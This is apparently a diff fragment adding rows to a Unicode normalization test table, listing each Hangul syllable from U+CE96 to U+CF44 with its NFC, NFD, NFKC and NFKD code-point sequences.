+{ source: [0xCE96], NFC: [0xCE96], NFD: [0x110F, 0x1162, 0x11AD], NFKC: [0xCE96], NFKD: [0x110F, 0x1162, 0x11AD] },
+{ source: [0xCE97], NFC: [0xCE97], NFD: [0x110F, 0x1162, 0x11AE], NFKC: [0xCE97], NFKD: [0x110F, 0x1162, 0x11AE] },
+{ source: [0xCE98], NFC: [0xCE98], NFD: [0x110F, 0x1162, 0x11AF], NFKC: [0xCE98], NFKD: [0x110F, 0x1162, 0x11AF] },
+{ source: [0xCE99], NFC: [0xCE99], NFD: [0x110F, 0x1162, 0x11B0], NFKC: [0xCE99], NFKD: [0x110F, 0x1162, 0x11B0] },
+{ source: [0xCE9A], NFC: [0xCE9A], NFD: [0x110F, 0x1162, 0x11B1], NFKC: [0xCE9A], NFKD: [0x110F, 0x1162, 0x11B1] },
+{ source: [0xCE9B], NFC: [0xCE9B], NFD: [0x110F, 0x1162, 0x11B2], NFKC: [0xCE9B], NFKD: [0x110F, 0x1162, 0x11B2] },
+{ source: [0xCE9C], NFC: [0xCE9C], NFD: [0x110F, 0x1162, 0x11B3], NFKC: [0xCE9C], NFKD: [0x110F, 0x1162, 0x11B3] },
+{ source: [0xCE9D], NFC: [0xCE9D], NFD: [0x110F, 0x1162, 0x11B4], NFKC: [0xCE9D], NFKD: [0x110F, 0x1162, 0x11B4] },
+{ source: [0xCE9E], NFC: [0xCE9E], NFD: [0x110F, 0x1162, 0x11B5], NFKC: [0xCE9E], NFKD: [0x110F, 0x1162, 0x11B5] },
+{ source: [0xCE9F], NFC: [0xCE9F], NFD: [0x110F, 0x1162, 0x11B6], NFKC: [0xCE9F], NFKD: [0x110F, 0x1162, 0x11B6] },
+{ source: [0xCEA0], NFC: [0xCEA0], NFD: [0x110F, 0x1162, 0x11B7], NFKC: [0xCEA0], NFKD: [0x110F, 0x1162, 0x11B7] },
+{ source: [0xCEA1], NFC: [0xCEA1], NFD: [0x110F, 0x1162, 0x11B8], NFKC: [0xCEA1], NFKD: [0x110F, 0x1162, 0x11B8] },
+{ source: [0xCEA2], NFC: [0xCEA2], NFD: [0x110F, 0x1162, 0x11B9], NFKC: [0xCEA2], NFKD: [0x110F, 0x1162, 0x11B9] },
+{ source: [0xCEA3], NFC: [0xCEA3], NFD: [0x110F, 0x1162, 0x11BA], NFKC: [0xCEA3], NFKD: [0x110F, 0x1162, 0x11BA] },
+{ source: [0xCEA4], NFC: [0xCEA4], NFD: [0x110F, 0x1162, 0x11BB], NFKC: [0xCEA4], NFKD: [0x110F, 0x1162, 0x11BB] },
+{ source: [0xCEA5], NFC: [0xCEA5], NFD: [0x110F, 0x1162, 0x11BC], NFKC: [0xCEA5], NFKD: [0x110F, 0x1162, 0x11BC] },
+{ source: [0xCEA6], NFC: [0xCEA6], NFD: [0x110F, 0x1162, 0x11BD], NFKC: [0xCEA6], NFKD: [0x110F, 0x1162, 0x11BD] },
+{ source: [0xCEA7], NFC: [0xCEA7], NFD: [0x110F, 0x1162, 0x11BE], NFKC: [0xCEA7], NFKD: [0x110F, 0x1162, 0x11BE] },
+{ source: [0xCEA8], NFC: [0xCEA8], NFD: [0x110F, 0x1162, 0x11BF], NFKC: [0xCEA8], NFKD: [0x110F, 0x1162, 0x11BF] },
+{ source: [0xCEA9], NFC: [0xCEA9], NFD: [0x110F, 0x1162, 0x11C0], NFKC: [0xCEA9], NFKD: [0x110F, 0x1162, 0x11C0] },
+{ source: [0xCEAA], NFC: [0xCEAA], NFD: [0x110F, 0x1162, 0x11C1], NFKC: [0xCEAA], NFKD: [0x110F, 0x1162, 0x11C1] },
+{ source: [0xCEAB], NFC: [0xCEAB], NFD: [0x110F, 0x1162, 0x11C2], NFKC: [0xCEAB], NFKD: [0x110F, 0x1162, 0x11C2] },
+{ source: [0xCEAC], NFC: [0xCEAC], NFD: [0x110F, 0x1163], NFKC: [0xCEAC], NFKD: [0x110F, 0x1163] },
+{ source: [0xCEAD], NFC: [0xCEAD], NFD: [0x110F, 0x1163, 0x11A8], NFKC: [0xCEAD], NFKD: [0x110F, 0x1163, 0x11A8] },
+{ source: [0xCEAE], NFC: [0xCEAE], NFD: [0x110F, 0x1163, 0x11A9], NFKC: [0xCEAE], NFKD: [0x110F, 0x1163, 0x11A9] },
+{ source: [0xCEAF], NFC: [0xCEAF], NFD: [0x110F, 0x1163, 0x11AA], NFKC: [0xCEAF], NFKD: [0x110F, 0x1163, 0x11AA] },
+{ source: [0xCEB0], NFC: [0xCEB0], NFD: [0x110F, 0x1163, 0x11AB], NFKC: [0xCEB0], NFKD: [0x110F, 0x1163, 0x11AB] },
+{ source: [0xCEB1], NFC: [0xCEB1], NFD: [0x110F, 0x1163, 0x11AC], NFKC: [0xCEB1], NFKD: [0x110F, 0x1163, 0x11AC] },
+{ source: [0xCEB2], NFC: [0xCEB2], NFD: [0x110F, 0x1163, 0x11AD], NFKC: [0xCEB2], NFKD: [0x110F, 0x1163, 0x11AD] },
+{ source: [0xCEB3], NFC: [0xCEB3], NFD: [0x110F, 0x1163, 0x11AE], NFKC: [0xCEB3], NFKD: [0x110F, 0x1163, 0x11AE] },
+{ source: [0xCEB4], NFC: [0xCEB4], NFD: [0x110F, 0x1163, 0x11AF], NFKC: [0xCEB4], NFKD: [0x110F, 0x1163, 0x11AF] },
+{ source: [0xCEB5], NFC: [0xCEB5], NFD: [0x110F, 0x1163, 0x11B0], NFKC: [0xCEB5], NFKD: [0x110F, 0x1163, 0x11B0] },
+{ source: [0xCEB6], NFC: [0xCEB6], NFD: [0x110F, 0x1163, 0x11B1], NFKC: [0xCEB6], NFKD: [0x110F, 0x1163, 0x11B1] },
+{ source: [0xCEB7], NFC: [0xCEB7], NFD: [0x110F, 0x1163, 0x11B2], NFKC: [0xCEB7], NFKD: [0x110F, 0x1163, 0x11B2] },
+{ source: [0xCEB8], NFC: [0xCEB8], NFD: [0x110F, 0x1163, 0x11B3], NFKC: [0xCEB8], NFKD: [0x110F, 0x1163, 0x11B3] },
+{ source: [0xCEB9], NFC: [0xCEB9], NFD: [0x110F, 0x1163, 0x11B4], NFKC: [0xCEB9], NFKD: [0x110F, 0x1163, 0x11B4] },
+{ source: [0xCEBA], NFC: [0xCEBA], NFD: [0x110F, 0x1163, 0x11B5], NFKC: [0xCEBA], NFKD: [0x110F, 0x1163, 0x11B5] },
+{ source: [0xCEBB], NFC: [0xCEBB], NFD: [0x110F, 0x1163, 0x11B6], NFKC: [0xCEBB], NFKD: [0x110F, 0x1163, 0x11B6] },
+{ source: [0xCEBC], NFC: [0xCEBC], NFD: [0x110F, 0x1163, 0x11B7], NFKC: [0xCEBC], NFKD: [0x110F, 0x1163, 0x11B7] },
+{ source: [0xCEBD], NFC: [0xCEBD], NFD: [0x110F, 0x1163, 0x11B8], NFKC: [0xCEBD], NFKD: [0x110F, 0x1163, 0x11B8] },
+{ source: [0xCEBE], NFC: [0xCEBE], NFD: [0x110F, 0x1163, 0x11B9], NFKC: [0xCEBE], NFKD: [0x110F, 0x1163, 0x11B9] },
+{ source: [0xCEBF], NFC: [0xCEBF], NFD: [0x110F, 0x1163, 0x11BA], NFKC: [0xCEBF], NFKD: [0x110F, 0x1163, 0x11BA] },
+{ source: [0xCEC0], NFC: [0xCEC0], NFD: [0x110F, 0x1163, 0x11BB], NFKC: [0xCEC0], NFKD: [0x110F, 0x1163, 0x11BB] },
+{ source: [0xCEC1], NFC: [0xCEC1], NFD: [0x110F, 0x1163, 0x11BC], NFKC: [0xCEC1], NFKD: [0x110F, 0x1163, 0x11BC] },
+{ source: [0xCEC2], NFC: [0xCEC2], NFD: [0x110F, 0x1163, 0x11BD], NFKC: [0xCEC2], NFKD: [0x110F, 0x1163, 0x11BD] },
+{ source: [0xCEC3], NFC: [0xCEC3], NFD: [0x110F, 0x1163, 0x11BE], NFKC: [0xCEC3], NFKD: [0x110F, 0x1163, 0x11BE] },
+{ source: [0xCEC4], NFC: [0xCEC4], NFD: [0x110F, 0x1163, 0x11BF], NFKC: [0xCEC4], NFKD: [0x110F, 0x1163, 0x11BF] },
+{ source: [0xCEC5], NFC: [0xCEC5], NFD: [0x110F, 0x1163, 0x11C0], NFKC: [0xCEC5], NFKD: [0x110F, 0x1163, 0x11C0] },
+{ source: [0xCEC6], NFC: [0xCEC6], NFD: [0x110F, 0x1163, 0x11C1], NFKC: [0xCEC6], NFKD: [0x110F, 0x1163, 0x11C1] },
+{ source: [0xCEC7], NFC: [0xCEC7], NFD: [0x110F, 0x1163, 0x11C2], NFKC: [0xCEC7], NFKD: [0x110F, 0x1163, 0x11C2] },
+{ source: [0xCEC8], NFC: [0xCEC8], NFD: [0x110F, 0x1164], NFKC: [0xCEC8], NFKD: [0x110F, 0x1164] },
+{ source: [0xCEC9], NFC: [0xCEC9], NFD: [0x110F, 0x1164, 0x11A8], NFKC: [0xCEC9], NFKD: [0x110F, 0x1164, 0x11A8] },
+{ source: [0xCECA], NFC: [0xCECA], NFD: [0x110F, 0x1164, 0x11A9], NFKC: [0xCECA], NFKD: [0x110F, 0x1164, 0x11A9] },
+{ source: [0xCECB], NFC: [0xCECB], NFD: [0x110F, 0x1164, 0x11AA], NFKC: [0xCECB], NFKD: [0x110F, 0x1164, 0x11AA] },
+{ source: [0xCECC], NFC: [0xCECC], NFD: [0x110F, 0x1164, 0x11AB], NFKC: [0xCECC], NFKD: [0x110F, 0x1164, 0x11AB] },
+{ source: [0xCECD], NFC: [0xCECD], NFD: [0x110F, 0x1164, 0x11AC], NFKC: [0xCECD], NFKD: [0x110F, 0x1164, 0x11AC] },
+{ source: [0xCECE], NFC: [0xCECE], NFD: [0x110F, 0x1164, 0x11AD], NFKC: [0xCECE], NFKD: [0x110F, 0x1164, 0x11AD] },
+{ source: [0xCECF], NFC: [0xCECF], NFD: [0x110F, 0x1164, 0x11AE], NFKC: [0xCECF], NFKD: [0x110F, 0x1164, 0x11AE] },
+{ source: [0xCED0], NFC: [0xCED0], NFD: [0x110F, 0x1164, 0x11AF], NFKC: [0xCED0], NFKD: [0x110F, 0x1164, 0x11AF] },
+{ source: [0xCED1], NFC: [0xCED1], NFD: [0x110F, 0x1164, 0x11B0], NFKC: [0xCED1], NFKD: [0x110F, 0x1164, 0x11B0] },
+{ source: [0xCED2], NFC: [0xCED2], NFD: [0x110F, 0x1164, 0x11B1], NFKC: [0xCED2], NFKD: [0x110F, 0x1164, 0x11B1] },
+{ source: [0xCED3], NFC: [0xCED3], NFD: [0x110F, 0x1164, 0x11B2], NFKC: [0xCED3], NFKD: [0x110F, 0x1164, 0x11B2] },
+{ source: [0xCED4], NFC: [0xCED4], NFD: [0x110F, 0x1164, 0x11B3], NFKC: [0xCED4], NFKD: [0x110F, 0x1164, 0x11B3] },
+{ source: [0xCED5], NFC: [0xCED5], NFD: [0x110F, 0x1164, 0x11B4], NFKC: [0xCED5], NFKD: [0x110F, 0x1164, 0x11B4] },
+{ source: [0xCED6], NFC: [0xCED6], NFD: [0x110F, 0x1164, 0x11B5], NFKC: [0xCED6], NFKD: [0x110F, 0x1164, 0x11B5] },
+{ source: [0xCED7], NFC: [0xCED7], NFD: [0x110F, 0x1164, 0x11B6], NFKC: [0xCED7], NFKD: [0x110F, 0x1164, 0x11B6] },
+{ source: [0xCED8], NFC: [0xCED8], NFD: [0x110F, 0x1164, 0x11B7], NFKC: [0xCED8], NFKD: [0x110F, 0x1164, 0x11B7] },
+{ source: [0xCED9], NFC: [0xCED9], NFD: [0x110F, 0x1164, 0x11B8], NFKC: [0xCED9], NFKD: [0x110F, 0x1164, 0x11B8] },
+{ source: [0xCEDA], NFC: [0xCEDA], NFD: [0x110F, 0x1164, 0x11B9], NFKC: [0xCEDA], NFKD: [0x110F, 0x1164, 0x11B9] },
+{ source: [0xCEDB], NFC: [0xCEDB], NFD: [0x110F, 0x1164, 0x11BA], NFKC: [0xCEDB], NFKD: [0x110F, 0x1164, 0x11BA] },
+{ source: [0xCEDC], NFC: [0xCEDC], NFD: [0x110F, 0x1164, 0x11BB], NFKC: [0xCEDC], NFKD: [0x110F, 0x1164, 0x11BB] },
+{ source: [0xCEDD], NFC: [0xCEDD], NFD: [0x110F, 0x1164, 0x11BC], NFKC: [0xCEDD], NFKD: [0x110F, 0x1164, 0x11BC] },
+{ source: [0xCEDE], NFC: [0xCEDE], NFD: [0x110F, 0x1164, 0x11BD], NFKC: [0xCEDE], NFKD: [0x110F, 0x1164, 0x11BD] },
+{ source: [0xCEDF], NFC: [0xCEDF], NFD: [0x110F, 0x1164, 0x11BE], NFKC: [0xCEDF], NFKD: [0x110F, 0x1164, 0x11BE] },
+{ source: [0xCEE0], NFC: [0xCEE0], NFD: [0x110F, 0x1164, 0x11BF], NFKC: [0xCEE0], NFKD: [0x110F, 0x1164, 0x11BF] },
+{ source: [0xCEE1], NFC: [0xCEE1], NFD: [0x110F, 0x1164, 0x11C0], NFKC: [0xCEE1], NFKD: [0x110F, 0x1164, 0x11C0] },
+{ source: [0xCEE2], NFC: [0xCEE2], NFD: [0x110F, 0x1164, 0x11C1], NFKC: [0xCEE2], NFKD: [0x110F, 0x1164, 0x11C1] },
+{ source: [0xCEE3], NFC: [0xCEE3], NFD: [0x110F, 0x1164, 0x11C2], NFKC: [0xCEE3], NFKD: [0x110F, 0x1164, 0x11C2] },
+{ source: [0xCEE4], NFC: [0xCEE4], NFD: [0x110F, 0x1165], NFKC: [0xCEE4], NFKD: [0x110F, 0x1165] },
+{ source: [0xCEE5], NFC: [0xCEE5], NFD: [0x110F, 0x1165, 0x11A8], NFKC: [0xCEE5], NFKD: [0x110F, 0x1165, 0x11A8] },
+{ source: [0xCEE6], NFC: [0xCEE6], NFD: [0x110F, 0x1165, 0x11A9], NFKC: [0xCEE6], NFKD: [0x110F, 0x1165, 0x11A9] },
+{ source: [0xCEE7], NFC: [0xCEE7], NFD: [0x110F, 0x1165, 0x11AA], NFKC: [0xCEE7], NFKD: [0x110F, 0x1165, 0x11AA] },
+{ source: [0xCEE8], NFC: [0xCEE8], NFD: [0x110F, 0x1165, 0x11AB], NFKC: [0xCEE8], NFKD: [0x110F, 0x1165, 0x11AB] },
+{ source: [0xCEE9], NFC: [0xCEE9], NFD: [0x110F, 0x1165, 0x11AC], NFKC: [0xCEE9], NFKD: [0x110F, 0x1165, 0x11AC] },
+{ source: [0xCEEA], NFC: [0xCEEA], NFD: [0x110F, 0x1165, 0x11AD], NFKC: [0xCEEA], NFKD: [0x110F, 0x1165, 0x11AD] },
+{ source: [0xCEEB], NFC: [0xCEEB], NFD: [0x110F, 0x1165, 0x11AE], NFKC: [0xCEEB], NFKD: [0x110F, 0x1165, 0x11AE] },
+{ source: [0xCEEC], NFC: [0xCEEC], NFD: [0x110F, 0x1165, 0x11AF], NFKC: [0xCEEC], NFKD: [0x110F, 0x1165, 0x11AF] },
+{ source: [0xCEED], NFC: [0xCEED], NFD: [0x110F, 0x1165, 0x11B0], NFKC: [0xCEED], NFKD: [0x110F, 0x1165, 0x11B0] },
+{ source: [0xCEEE], NFC: [0xCEEE], NFD: [0x110F, 0x1165, 0x11B1], NFKC: [0xCEEE], NFKD: [0x110F, 0x1165, 0x11B1] },
+{ source: [0xCEEF], NFC: [0xCEEF], NFD: [0x110F, 0x1165, 0x11B2], NFKC: [0xCEEF], NFKD: [0x110F, 0x1165, 0x11B2] },
+{ source: [0xCEF0], NFC: [0xCEF0], NFD: [0x110F, 0x1165, 0x11B3], NFKC: [0xCEF0], NFKD: [0x110F, 0x1165, 0x11B3] },
+{ source: [0xCEF1], NFC: [0xCEF1], NFD: [0x110F, 0x1165, 0x11B4], NFKC: [0xCEF1], NFKD: [0x110F, 0x1165, 0x11B4] },
+{ source: [0xCEF2], NFC: [0xCEF2], NFD: [0x110F, 0x1165, 0x11B5], NFKC: [0xCEF2], NFKD: [0x110F, 0x1165, 0x11B5] },
+{ source: [0xCEF3], NFC: [0xCEF3], NFD: [0x110F, 0x1165, 0x11B6], NFKC: [0xCEF3], NFKD: [0x110F, 0x1165, 0x11B6] },
+{ source: [0xCEF4], NFC: [0xCEF4], NFD: [0x110F, 0x1165, 0x11B7], NFKC: [0xCEF4], NFKD: [0x110F, 0x1165, 0x11B7] },
+{ source: [0xCEF5], NFC: [0xCEF5], NFD: [0x110F, 0x1165, 0x11B8], NFKC: [0xCEF5], NFKD: [0x110F, 0x1165, 0x11B8] },
+{ source: [0xCEF6], NFC: [0xCEF6], NFD: [0x110F, 0x1165, 0x11B9], NFKC: [0xCEF6], NFKD: [0x110F, 0x1165, 0x11B9] },
+{ source: [0xCEF7], NFC: [0xCEF7], NFD: [0x110F, 0x1165, 0x11BA], NFKC: [0xCEF7], NFKD: [0x110F, 0x1165, 0x11BA] },
+{ source: [0xCEF8], NFC: [0xCEF8], NFD: [0x110F, 0x1165, 0x11BB], NFKC: [0xCEF8], NFKD: [0x110F, 0x1165, 0x11BB] },
+{ source: [0xCEF9], NFC: [0xCEF9], NFD: [0x110F, 0x1165, 0x11BC], NFKC: [0xCEF9], NFKD: [0x110F, 0x1165, 0x11BC] },
+{ source: [0xCEFA], NFC: [0xCEFA], NFD: [0x110F, 0x1165, 0x11BD], NFKC: [0xCEFA], NFKD: [0x110F, 0x1165, 0x11BD] },
+{ source: [0xCEFB], NFC: [0xCEFB], NFD: [0x110F, 0x1165, 0x11BE], NFKC: [0xCEFB], NFKD: [0x110F, 0x1165, 0x11BE] },
+{ source: [0xCEFC], NFC: [0xCEFC], NFD: [0x110F, 0x1165, 0x11BF], NFKC: [0xCEFC], NFKD: [0x110F, 0x1165, 0x11BF] },
+{ source: [0xCEFD], NFC: [0xCEFD], NFD: [0x110F, 0x1165, 0x11C0], NFKC: [0xCEFD], NFKD: [0x110F, 0x1165, 0x11C0] },
+{ source: [0xCEFE], NFC: [0xCEFE], NFD: [0x110F, 0x1165, 0x11C1], NFKC: [0xCEFE], NFKD: [0x110F, 0x1165, 0x11C1] },
+{ source: [0xCEFF], NFC: [0xCEFF], NFD: [0x110F, 0x1165, 0x11C2], NFKC: [0xCEFF], NFKD: [0x110F, 0x1165, 0x11C2] },
+{ source: [0xCF00], NFC: [0xCF00], NFD: [0x110F, 0x1166], NFKC: [0xCF00], NFKD: [0x110F, 0x1166] },
+{ source: [0xCF01], NFC: [0xCF01], NFD: [0x110F, 0x1166, 0x11A8], NFKC: [0xCF01], NFKD: [0x110F, 0x1166, 0x11A8] },
+{ source: [0xCF02], NFC: [0xCF02], NFD: [0x110F, 0x1166, 0x11A9], NFKC: [0xCF02], NFKD: [0x110F, 0x1166, 0x11A9] },
+{ source: [0xCF03], NFC: [0xCF03], NFD: [0x110F, 0x1166, 0x11AA], NFKC: [0xCF03], NFKD: [0x110F, 0x1166, 0x11AA] },
+{ source: [0xCF04], NFC: [0xCF04], NFD: [0x110F, 0x1166, 0x11AB], NFKC: [0xCF04], NFKD: [0x110F, 0x1166, 0x11AB] },
+{ source: [0xCF05], NFC: [0xCF05], NFD: [0x110F, 0x1166, 0x11AC], NFKC: [0xCF05], NFKD: [0x110F, 0x1166, 0x11AC] },
+{ source: [0xCF06], NFC: [0xCF06], NFD: [0x110F, 0x1166, 0x11AD], NFKC: [0xCF06], NFKD: [0x110F, 0x1166, 0x11AD] },
+{ source: [0xCF07], NFC: [0xCF07], NFD: [0x110F, 0x1166, 0x11AE], NFKC: [0xCF07], NFKD: [0x110F, 0x1166, 0x11AE] },
+{ source: [0xCF08], NFC: [0xCF08], NFD: [0x110F, 0x1166, 0x11AF], NFKC: [0xCF08], NFKD: [0x110F, 0x1166, 0x11AF] },
+{ source: [0xCF09], NFC: [0xCF09], NFD: [0x110F, 0x1166, 0x11B0], NFKC: [0xCF09], NFKD: [0x110F, 0x1166, 0x11B0] },
+{ source: [0xCF0A], NFC: [0xCF0A], NFD: [0x110F, 0x1166, 0x11B1], NFKC: [0xCF0A], NFKD: [0x110F, 0x1166, 0x11B1] },
+{ source: [0xCF0B], NFC: [0xCF0B], NFD: [0x110F, 0x1166, 0x11B2], NFKC: [0xCF0B], NFKD: [0x110F, 0x1166, 0x11B2] },
+{ source: [0xCF0C], NFC: [0xCF0C], NFD: [0x110F, 0x1166, 0x11B3], NFKC: [0xCF0C], NFKD: [0x110F, 0x1166, 0x11B3] },
+{ source: [0xCF0D], NFC: [0xCF0D], NFD: [0x110F, 0x1166, 0x11B4], NFKC: [0xCF0D], NFKD: [0x110F, 0x1166, 0x11B4] },
+{ source: [0xCF0E], NFC: [0xCF0E], NFD: [0x110F, 0x1166, 0x11B5], NFKC: [0xCF0E], NFKD: [0x110F, 0x1166, 0x11B5] },
+{ source: [0xCF0F], NFC: [0xCF0F], NFD: [0x110F, 0x1166, 0x11B6], NFKC: [0xCF0F], NFKD: [0x110F, 0x1166, 0x11B6] },
+{ source: [0xCF10], NFC: [0xCF10], NFD: [0x110F, 0x1166, 0x11B7], NFKC: [0xCF10], NFKD: [0x110F, 0x1166, 0x11B7] },
+{ source: [0xCF11], NFC: [0xCF11], NFD: [0x110F, 0x1166, 0x11B8], NFKC: [0xCF11], NFKD: [0x110F, 0x1166, 0x11B8] },
+{ source: [0xCF12], NFC: [0xCF12], NFD: [0x110F, 0x1166, 0x11B9], NFKC: [0xCF12], NFKD: [0x110F, 0x1166, 0x11B9] },
+{ source: [0xCF13], NFC: [0xCF13], NFD: [0x110F, 0x1166, 0x11BA], NFKC: [0xCF13], NFKD: [0x110F, 0x1166, 0x11BA] },
+{ source: [0xCF14], NFC: [0xCF14], NFD: [0x110F, 0x1166, 0x11BB], NFKC: [0xCF14], NFKD: [0x110F, 0x1166, 0x11BB] },
+{ source: [0xCF15], NFC: [0xCF15], NFD: [0x110F, 0x1166, 0x11BC], NFKC: [0xCF15], NFKD: [0x110F, 0x1166, 0x11BC] },
+{ source: [0xCF16], NFC: [0xCF16], NFD: [0x110F, 0x1166, 0x11BD], NFKC: [0xCF16], NFKD: [0x110F, 0x1166, 0x11BD] },
+{ source: [0xCF17], NFC: [0xCF17], NFD: [0x110F, 0x1166, 0x11BE], NFKC: [0xCF17], NFKD: [0x110F, 0x1166, 0x11BE] },
+{ source: [0xCF18], NFC: [0xCF18], NFD: [0x110F, 0x1166, 0x11BF], NFKC: [0xCF18], NFKD: [0x110F, 0x1166, 0x11BF] },
+{ source: [0xCF19], NFC: [0xCF19], NFD: [0x110F, 0x1166, 0x11C0], NFKC: [0xCF19], NFKD: [0x110F, 0x1166, 0x11C0] },
+{ source: [0xCF1A], NFC: [0xCF1A], NFD: [0x110F, 0x1166, 0x11C1], NFKC: [0xCF1A], NFKD: [0x110F, 0x1166, 0x11C1] },
+{ source: [0xCF1B], NFC: [0xCF1B], NFD: [0x110F, 0x1166, 0x11C2], NFKC: [0xCF1B], NFKD: [0x110F, 0x1166, 0x11C2] },
+{ source: [0xCF1C], NFC: [0xCF1C], NFD: [0x110F, 0x1167], NFKC: [0xCF1C], NFKD: [0x110F, 0x1167] },
+{ source: [0xCF1D], NFC: [0xCF1D], NFD: [0x110F, 0x1167, 0x11A8], NFKC: [0xCF1D], NFKD: [0x110F, 0x1167, 0x11A8] },
+{ source: [0xCF1E], NFC: [0xCF1E], NFD: [0x110F, 0x1167, 0x11A9], NFKC: [0xCF1E], NFKD: [0x110F, 0x1167, 0x11A9] },
+{ source: [0xCF1F], NFC: [0xCF1F], NFD: [0x110F, 0x1167, 0x11AA], NFKC: [0xCF1F], NFKD: [0x110F, 0x1167, 0x11AA] },
+{ source: [0xCF20], NFC: [0xCF20], NFD: [0x110F, 0x1167, 0x11AB], NFKC: [0xCF20], NFKD: [0x110F, 0x1167, 0x11AB] },
+{ source: [0xCF21], NFC: [0xCF21], NFD: [0x110F, 0x1167, 0x11AC], NFKC: [0xCF21], NFKD: [0x110F, 0x1167, 0x11AC] },
+{ source: [0xCF22], NFC: [0xCF22], NFD: [0x110F, 0x1167, 0x11AD], NFKC: [0xCF22], NFKD: [0x110F, 0x1167, 0x11AD] },
+{ source: [0xCF23], NFC: [0xCF23], NFD: [0x110F, 0x1167, 0x11AE], NFKC: [0xCF23], NFKD: [0x110F, 0x1167, 0x11AE] },
+{ source: [0xCF24], NFC: [0xCF24], NFD: [0x110F, 0x1167, 0x11AF], NFKC: [0xCF24], NFKD: [0x110F, 0x1167, 0x11AF] },
+{ source: [0xCF25], NFC: [0xCF25], NFD: [0x110F, 0x1167, 0x11B0], NFKC: [0xCF25], NFKD: [0x110F, 0x1167, 0x11B0] },
+{ source: [0xCF26], NFC: [0xCF26], NFD: [0x110F, 0x1167, 0x11B1], NFKC: [0xCF26], NFKD: [0x110F, 0x1167, 0x11B1] },
+{ source: [0xCF27], NFC: [0xCF27], NFD: [0x110F, 0x1167, 0x11B2], NFKC: [0xCF27], NFKD: [0x110F, 0x1167, 0x11B2] },
+{ source: [0xCF28], NFC: [0xCF28], NFD: [0x110F, 0x1167, 0x11B3], NFKC: [0xCF28], NFKD: [0x110F, 0x1167, 0x11B3] },
+{ source: [0xCF29], NFC: [0xCF29], NFD: [0x110F, 0x1167, 0x11B4], NFKC: [0xCF29], NFKD: [0x110F, 0x1167, 0x11B4] },
+{ source: [0xCF2A], NFC: [0xCF2A], NFD: [0x110F, 0x1167, 0x11B5], NFKC: [0xCF2A], NFKD: [0x110F, 0x1167, 0x11B5] },
+{ source: [0xCF2B], NFC: [0xCF2B], NFD: [0x110F, 0x1167, 0x11B6], NFKC: [0xCF2B], NFKD: [0x110F, 0x1167, 0x11B6] },
+{ source: [0xCF2C], NFC: [0xCF2C], NFD: [0x110F, 0x1167, 0x11B7], NFKC: [0xCF2C], NFKD: [0x110F, 0x1167, 0x11B7] },
+{ source: [0xCF2D], NFC: [0xCF2D], NFD: [0x110F, 0x1167, 0x11B8], NFKC: [0xCF2D], NFKD: [0x110F, 0x1167, 0x11B8] },
+{ source: [0xCF2E], NFC: [0xCF2E], NFD: [0x110F, 0x1167, 0x11B9], NFKC: [0xCF2E], NFKD: [0x110F, 0x1167, 0x11B9] },
+{ source: [0xCF2F], NFC: [0xCF2F], NFD: [0x110F, 0x1167, 0x11BA], NFKC: [0xCF2F], NFKD: [0x110F, 0x1167, 0x11BA] },
+{ source: [0xCF30], NFC: [0xCF30], NFD: [0x110F, 0x1167, 0x11BB], NFKC: [0xCF30], NFKD: [0x110F, 0x1167, 0x11BB] },
+{ source: [0xCF31], NFC: [0xCF31], NFD: [0x110F, 0x1167, 0x11BC], NFKC: [0xCF31], NFKD: [0x110F, 0x1167, 0x11BC] },
+{ source: [0xCF32], NFC: [0xCF32], NFD: [0x110F, 0x1167, 0x11BD], NFKC: [0xCF32], NFKD: [0x110F, 0x1167, 0x11BD] },
+{ source: [0xCF33], NFC: [0xCF33], NFD: [0x110F, 0x1167, 0x11BE], NFKC: [0xCF33], NFKD: [0x110F, 0x1167, 0x11BE] },
+{ source: [0xCF34], NFC: [0xCF34], NFD: [0x110F, 0x1167, 0x11BF], NFKC: [0xCF34], NFKD: [0x110F, 0x1167, 0x11BF] },
+{ source: [0xCF35], NFC: [0xCF35], NFD: [0x110F, 0x1167, 0x11C0], NFKC: [0xCF35], NFKD: [0x110F, 0x1167, 0x11C0] },
+{ source: [0xCF36], NFC: [0xCF36], NFD: [0x110F, 0x1167, 0x11C1], NFKC: [0xCF36], NFKD: [0x110F, 0x1167, 0x11C1] },
+{ source: [0xCF37], NFC: [0xCF37], NFD: [0x110F, 0x1167, 0x11C2], NFKC: [0xCF37], NFKD: [0x110F, 0x1167, 0x11C2] },
+{ source: [0xCF38], NFC: [0xCF38], NFD: [0x110F, 0x1168], NFKC: [0xCF38], NFKD: [0x110F, 0x1168] },
+{ source: [0xCF39], NFC: [0xCF39], NFD: [0x110F, 0x1168, 0x11A8], NFKC: [0xCF39], NFKD: [0x110F, 0x1168, 0x11A8] },
+{ source: [0xCF3A], NFC: [0xCF3A], NFD: [0x110F, 0x1168, 0x11A9], NFKC: [0xCF3A], NFKD: [0x110F, 0x1168, 0x11A9] },
+{ source: [0xCF3B], NFC: [0xCF3B], NFD: [0x110F, 0x1168, 0x11AA], NFKC: [0xCF3B], NFKD: [0x110F, 0x1168, 0x11AA] },
+{ source: [0xCF3C], NFC: [0xCF3C], NFD: [0x110F, 0x1168, 0x11AB], NFKC: [0xCF3C], NFKD: [0x110F, 0x1168, 0x11AB] },
+{ source: [0xCF3D], NFC: [0xCF3D], NFD: [0x110F, 0x1168, 0x11AC], NFKC: [0xCF3D], NFKD: [0x110F, 0x1168, 0x11AC] },
+{ source: [0xCF3E], NFC: [0xCF3E], NFD: [0x110F, 0x1168, 0x11AD], NFKC: [0xCF3E], NFKD: [0x110F, 0x1168, 0x11AD] },
+{ source: [0xCF3F], NFC: [0xCF3F], NFD: [0x110F, 0x1168, 0x11AE], NFKC: [0xCF3F], NFKD: [0x110F, 0x1168, 0x11AE] },
+{ source: [0xCF40], NFC: [0xCF40], NFD: [0x110F, 0x1168, 0x11AF], NFKC: [0xCF40], NFKD: [0x110F, 0x1168, 0x11AF] },
+{ source: [0xCF41], NFC: [0xCF41], NFD: [0x110F, 0x1168, 0x11B0], NFKC: [0xCF41], NFKD: [0x110F, 0x1168, 0x11B0] },
+{ source: [0xCF42], NFC: [0xCF42], NFD: [0x110F, 0x1168, 0x11B1], NFKC: [0xCF42], NFKD: [0x110F, 0x1168, 0x11B1] },
+{ source: [0xCF43], NFC: [0xCF43], NFD: [0x110F, 0x1168, 0x11B2], NFKC: [0xCF43], NFKD: [0x110F, 0x1168, 0x11B2] },
+{ source: [0xCF44], NFC: [0xCF44], NFD: [0x110F, 0x1168, 0x11B3], NFKC: [0xCF44], NFKD: [0x110F, 0x1168, 0x11B3] },
